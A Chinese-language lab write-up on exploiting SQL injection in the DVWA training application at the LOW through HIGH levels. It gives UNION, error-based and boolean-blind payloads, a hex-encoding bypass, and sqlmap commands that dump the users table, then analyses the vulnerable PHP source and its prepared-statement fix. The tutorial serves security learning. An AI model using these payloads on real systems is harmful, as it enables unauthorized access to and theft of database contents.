網路安全-靶機dvwa之sql注入Low到High詳解(含程式碼分析)

2020-10-13 12:00:52

目錄

SQL Injection-LOW

Union注入

注入點判斷

欄位判斷

獲取資料庫名

獲取表名

獲取列名

獲取資料

Error注入

獲取表名

獲取列名

獲取資料

原始碼解析

主要步驟

漏洞原因

SQL Injection-MIDIUM

Union

注入點判斷

獲取表名

 Error注入

原始碼分析

步驟

漏洞原因

SQL Injection-HIGH

Union注入

注入點檢測

 欄位判斷

獲取表名

Error注入

原始碼解析

主要步驟

漏洞原因

SQL Injection(Blind)-LOW

Boolean盲注

獲取資料庫名

sqlmap

 獲取資料庫名

獲取表名

獲取列名

獲取資料

原始碼解析

主要步驟

漏洞原因

SQL Injection(Blind)-MIDIUM

Boolean盲注

手工

sqlmap

原始碼解析

主要步驟

漏洞原因

SQL Injection(Blind)-HIGH

手工注入

sqlmap

原始碼分析

主要步驟

漏洞原因

IMPOSSIBLE

非盲注

主要步驟

安全原因

盲注


本篇文章,針對靶機dvwa(Damn Vulnerable Web Application)中的SQL Injection、SQL Injection(Blind)的LOW、MIDIUM、HIGH安全級別使用網路安全-SQL隱碼攻擊原理及防禦SQL隱碼攻擊中提到的SQL隱碼攻擊技術,利用網路安全-Mysql注入知識點中提到的資料庫函數,使用手工/sqlmap進行sql注入。並根據網路安全-php安全知識點對LOW、MIDIUM、HIGH、IMPOSSIBLE安全級別的程式碼進行解釋。對於非盲注使用UNION注入、ERROR注入、對於盲注,使用BOOLEAN注入和sqlmap,TIME注入耗時太久,沒有采用。

目標:獲取使用者名稱等感興趣的資訊

SQL Injection-LOW

正常提交payload為1

正常頁面

Union注入

注入點判斷

1 and 1=1#
返回正常
1 and 1=2#
返回正常

 

 結論:不是數位型注入。

1' and 1=1#
返回正常
1' and 1=2#

沒有結果返回

頁面異常

結論:字元型注入,單引號閉合

sql語句猜測

First name即回顯的First name在資料庫中對應的欄位,Surname同理

假設表名為users,User ID 對應的欄位為id

select First name,Surname from users where id = 'User ID'

欄位判斷

猜測是2個欄位,直接從2開始。

1' order by 2#
返回正常

 再遞增

1' order by 3#

返回異常

異常頁面

 結論:猜測正確,欄位為2

獲取資料庫名

1' UNION SELECT 1,database() from information_schema.schemata#
資料庫名

 結論:資料庫名 dvwa

獲取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
表名

結論:有兩個表 guestbook、users

獲取列名

假設僅對users表感興趣,其他表只需要把下面的users改為其他即可。

1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
列名

結論:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login

獲取資料

假設:first_name、last_name已返回,我們對user和avatar感興趣。對其他的感興趣下面就快取其他列。

為了避免分不清各個資料,使用":",即0x3a進行分隔。

1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
資料

user:admin對應的avatar:/dvwa/hackable/users/admin.jpg,以此類推。

Error注入

注入點判斷、欄位判斷和Union注入一樣。當前資料庫就不寫了,用database()函數代替。使用updatexml()函數進行錯誤注入。

獲取表名

0x7e是~,這樣報錯的結果就是~sql語句執行結果~。

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
第一張表

同理,獲取第二張表只需將上面payload改為limit 1,1即可,不再贅述。

獲取列名

1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
第一個列名

 同理,獲取第二列只需將上面payload改為limit 1,1即可,其餘列繼續增加,不再贅述。

獲取資料

1' and updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1)#
第一條資料

同理,獲取第二條資料只需將上面payload改為limit 1,1即可,其餘資料繼續增加,不再贅述。

原始碼解析

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

主要步驟

  • isset檢測變數Submit是否已設定並且非 NULL,即判斷使用者是否點選了Submit按鈕。
  • 得到使用者提交的資料 id
  • 利用使用者資料拼接成sql語句query
  • 使用mysqli_query函數執行sql語句並返回結果給result,若出錯,使用die函數報錯
  • 使用mysqli_fetch_assoc函數獲取結果集的一行給變數row
  • 使用first、last變數獲取row中的first_name、last_name欄位,並使用echo列印 使用者輸入的id和變數first、last

漏洞原因

沒有進行預編譯

使用者資料拼接了程式碼,沒有實現程式碼、資料分離

沒有進行敏感字元過濾

SQL Injection-MIDIUM

正常頁面

url上沒有引數,是post方式,下拉框進行選擇,只能抓包了。

Union

注入點判斷

payload和LOW級別的Union注入一樣,不再贅述,有問題下方評論。

正常
異常

結論:數位型,無需閉合

欄位判斷、獲取資料庫與LOW一致,不必閉合,由在使用者端提交,改為在burpsuite中提交。

例如,資料庫判斷,其他類似,不再贅述。

id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit
資料庫

獲取表名

1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
'被跳脫

發現單引號被跳脫

工具BEJSON,進行字元轉16進位制,注意,工具沒有加0x,需要自行新增。

dvwa轉16進位制
1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#

即'dvwa'轉為16進位制的dvwa 0x64767761

16進位制繞過

 後序步驟類似,將字元轉為16進位制即可。

 Error注入

通過上面的Union注入可知,相對於LOW而言,不必閉合,由在使用者端提交,改為在burpsuite中提交。

例如,獲取表名:

id=1 and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&Submit=Submit
獲取第一張表

後序步驟與LOW級別類似,遇到單引號時,即需要填寫表名時通過16進位制進行繞過,不再贅述,有問題下方評論。

原始碼分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

步驟

  • isset檢測變數Submit是否已設定並且非 NULL,即判斷使用者是否點選了Submit按鈕。
  • 得到使用者提交的資料 id,使用mysqli_real_escape_string函數進行跳脫
  • 利用使用者資料拼接成sql語句query
  • 使用mysqli_query函數執行sql語句並返回結果給result,若出錯,使用die函數報錯
  • 使用mysqli_fetch_assoc函數獲取結果集的一行給變數row
  • 使用first、last變數獲取row中的first_name、last_name欄位,並使用echo列印 使用者輸入的id和變數first、last

漏洞原因

沒有進行預編譯

使用者資料拼接了程式碼,沒有實現程式碼、資料分離

沒有很好的對敏感關鍵字進行過濾。想要利用mysqli_real_escape_string函數進行敏感字元過濾,但是mysqli_real_escape_string函數並不能過濾一些敏感的關鍵字(如 and or等),它的功能只是跳脫一些字元,僅成功過濾了',屬於開發者對函數功能瞭解的不夠全,網路安全-php安全知識點中有對該函數的解釋。

SQL Injection-HIGH

正常頁面

點選按鈕彈出視窗,然後再填寫資料。

Union注入

注入點檢測

1' and 1=1#
正常
1' 1=2#

 

異常

結論:字元型注入,需要閉合,閉合字元為 ' ,當然,在這之前我也嘗試了數位型,為了避免文章篇幅過長,不再贅述。

 欄位判斷

1'order by 2#
欄位為2沒問題
1' order by 3
異常

不是資料庫的出錯提示,估計是使用了or die函數進行的自定義提示,這樣的話估計不能使用Error注入。

 結論:欄位為2

獲取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#
表名

這...不做了,除了彈個框,和LOW級別的payload一樣啊,感覺沒有加什麼,我以為會有些過濾,需要繞過的。。。不再贅述了。

Error注入

注入點判斷、欄位判斷和Union注入一樣。當前資料庫就不寫了,用database()函數代替。使用updatexml()函數進行錯誤注入。

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
失敗

果然,不能使用Error注入,應該是使用了or die函數。接下來看原始碼吧。

原始碼解析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

主要步驟

  • isset檢測Session中的id變數是否已設定並且非 NULL
  • 得到使用者提交的資料 id
  • 利用使用者資料拼接成sql語句query,id當做字串
  • 使用mysqli_query函數執行sql語句並返回結果給result,若出錯,使用die函數報錯,錯誤是自定義的
  • 使用mysqli_fetch_assoc函數獲取結果集的一行給變數row
  • 使用first、last變數獲取row中的first_name、last_name欄位,並使用echo列印 使用者輸入的id和變數first、last

漏洞原因

沒有進行預編譯

使用者資料拼接了程式碼,沒有實現程式碼、資料分離

想要利用session和自定義錯誤返回來增加安全係數,成功的躲過了Error注入方式

SQL Injection(Blind)-LOW

正常提交,payload為1

正常返回

沒有回顯,採用盲注

Boolean盲注

注入點判斷、欄位判斷和Union注入一樣。

獲取資料庫名

先獲取長度

1' and length(database())>3#
正確
1' and length(database())>4#
錯誤

 結論:資料庫名長度>3但不>4,即資料庫長度為4

依次判斷4個字元

1' and substr(database(),1,1)='a'#
錯誤

 第一個字元不是a,上圖的url是進行了編碼,網上找了個工具,進行了解碼,可以看出就是上面的payload

解碼

替換為字元d

1' and substr(database(),1,1)='d'#

字元d時返回正確。

正確

其餘的類似,不再贅述。 實際上做時,會寫指令碼或使用sqlmap,不然工作量太大,寫指令碼也不會按照ASCII表去一個個的嘗試,可以先判斷字元是不是字母,然後再二分查詢之類的。

接下來使用sqlmap進行展示,有關sqlmap的知識可以檢視:網路安全-sqlmap學習筆記

sqlmap

先獲取cookie備用,按F12,控制檯輸入 document.cookie

cookie
"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"

 獲取資料庫名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch
獲取資料庫名

還是指令碼快,1秒解決。sqlmap使用的是mid函數,和substr一樣,可以檢視網路安全-Mysql注入知識點

結論:資料庫名 dvwa

獲取表名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch
獲取資料庫名

結論:dvwa資料庫有2個表,guestbook、users

獲取列名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch
獲取所有列

結論:見上圖,不手打了。

獲取資料

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch
獲取資料

還有個csv,裡面和cmd視窗顯示的一致。

原始碼解析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

主要步驟

  • isset檢測變數Submit是否已設定並且非 NULL,即判斷使用者是否點選了Submit按鈕。
  • 得到使用者提交的資料 id
  • 利用使用者資料拼接成sql語句getid
  • 使用mysqli_query函數執行sql語句並返回結果給result,刪除「or die」來抑制mysql錯誤
  • 使用@mysqli_num_rows函數獲取結果集的數量給變數num,通過@來抑制mysql錯誤
  • 若num>0,輸出「User ID exists in the database.」,否則輸出」User ID is MISSING from the database.「

漏洞原因

沒有進行預編譯

使用者資料拼接了程式碼,沒有實現程式碼、資料分離

沒有進行敏感字元過濾

SQL Injection(Blind)-MIDIUM

正常

和MIDDLE級別的非盲注一樣,使用了下拉框,是post方式,另外,沒有回顯。

Boolean盲注

注入點判斷,欄位判斷與非盲注一樣

注入點是數位型的,不必閉合。

手工

payload與LOW級別的盲注的區別只是少了閉合字元'

以資料庫長度為例

id=1 and length(database())>3#&Submit=Submit
資料庫長度大於3
資料庫長度大於4

資料庫長度>3但不>4,即資料庫長度為4。後續不再贅述,有問題請下方評論。

sqlmap

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium;csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy;PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2" --forms --current-db --technique=B -v 3 --batch
出錯

 

不清楚原因

python sqlmap.py -r sqli_blind_midium.txt --technique=B -v 3 --current-db --batch

 

出錯
-r引數官方檔案

 

搞不定,可能sqlmap沒學好吧,哪位大佬知道原因,請下方評論,十分感謝!!!這是抓到的包sqli_blind_midium.txt

POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2
Upgrade-Insecure-Requests: 1

id=1&Submit=Submit

原始碼解析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

主要步驟

  • isset檢測變數Submit是否已設定並且非 NULL,即判斷使用者是否點選了Submit按鈕。
  • 得到使用者提交的資料 id,使用mysqli_real_escape_string函數進行跳脫
  • 利用使用者資料拼接成sql語句getid
  • 使用mysqli_query函數執行sql語句並返回結果給result,刪除「or die」來抑制mysql錯誤
  • 使用@mysqli_num_rows函數獲取結果集的數量給變數num,通過@來抑制mysql錯誤
  • 若num>0,輸出「User ID exists in the database.」,否則輸出」User ID is MISSING from the database.「

漏洞原因

沒有進行預編譯

使用者資料拼接了程式碼,沒有實現程式碼、資料分離

沒有很好的對敏感關鍵字進行過濾。想要利用mysqli_real_escape_string函數進行敏感字元過濾,但是mysqli_real_escape_string函數並不能過濾一些敏感的關鍵字(如 and or等),它的功能只是跳脫一些字元,屬於開發者對函數功能瞭解的不夠全,網路安全-php安全知識點中有對該函數的解釋。

SQL Injection(Blind)-HIGH

抓包

抓包過程和MIDIUM級別的一樣,Proxy抓包,傳送到Repeater,為什麼貼上出來呢?因為cookie裡面有id,非盲注高階別的原始碼是從SESSION中得到id,估計這個是從COOKIE中,另外id進行了url編碼。工具:站長URL編碼/解碼

手工注入

payload與LOW級別的盲注的區別只是在彈出的這個框框裡面填寫。

sqlmap

由於頁面跳轉,,防止了自動化sql注入,目前版本的sqlmap應該無法成功注入。

原始碼分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

主要步驟

  • isset檢測COOKIE中的id變數是否已設定並且非 NULL
  • 得到使用者提交的資料 id
  • 利用使用者資料拼接成sql語句query,id當做字串
  • 使用mysqli_query函數執行sql語句並返回結果給result,不使用or die來抑制mysql錯誤
  • 使用mysqli_num_rows函數獲取結果集的數量給變數num,通過@來抑制mysql錯誤
  • 若num>0,輸出「User ID exists in the database.」,否則睡眠一會,顯示404。輸出」User ID is MISSING from the database.「

漏洞原因

沒有進行預編譯

使用者資料拼接了程式碼,沒有實現程式碼、資料分離

想要利用COOKIE來增加安全係數,抓包可繞過。

IMPOSSIBLE

非盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

主要步驟

  • isset檢測Subbmit變數是否已設定並且非 NULL,即判斷是否點選了Submit進行提交。
  • 檢查token
  • 得到使用者提交的資料 id,並判斷是否僅為數位
  • 預編譯、繫結引數、執行sql語句
  • 判斷結果是否為1行,使用first、last變數獲取row中的first_name、last_name欄位,並使用echo列印 使用者輸入的id和變數first、last

安全原因

進行了預編譯,不再拼接sql語句,而是替換

檢查了token

判斷了資料型別是否僅為數位

判斷了結果是否僅為1行

盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在上面的基礎上,去除了回顯,更加安全。

更多內容檢視:網路安全-自學筆記

喜歡本文的請動動小手點個贊,收藏一下,有問題請下方評論,轉載請註明出處,並附有原文連結,謝謝!如有侵權,請及時聯絡。如果您感覺有所收穫,自願打賞,可選擇支付寶18833895206(小於),您的支援是我不斷更新的動力。